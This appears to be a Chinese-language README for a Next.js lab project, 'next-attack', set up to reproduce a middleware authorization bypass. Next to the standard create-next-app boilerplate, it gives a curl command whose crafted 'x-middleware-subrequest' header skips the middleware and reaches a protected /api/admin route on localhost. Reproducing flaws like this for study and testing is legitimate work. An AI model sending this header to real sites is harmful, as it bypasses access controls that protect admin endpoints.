next-attack

这是一个使用 create-next-app 引导创建的 Next.js 项目。

测试漏洞

首先，你可以确认中间件正常工作并会重定向用户：

curl http://localhost:3000/api/admin

然后，你可以通过以下命令展示中间件是如何被绕过的：

curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/api/admin

开始使用

首先，运行开发服务器：

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

在浏览器中打开 http://localhost:3000 查看结果。

你可以通过修改 app/page.tsx 开始编辑页面。当你编辑文件时，页面会自动更新。

该项目使用 next/font 自动优化并加载 Geist，这是 Vercel 的一个新字体家族。

了解更多

要了解更多关于 Next.js 的信息，请查看以下资源：

• Next.js 文档 - 了解 Next.js 的功能和 API。
• 学习 Next.js - 交互式 Next.js 教程。

你可以查看 Next.js GitHub 仓库 - 欢迎提供反馈和贡献！

在 Vercel 上部署

部署 Next.js 应用最简单的方式是使用来自 Next.js 创建者的 Vercel 平台。

更多详情，请参阅我们的 Next.js 部署文档。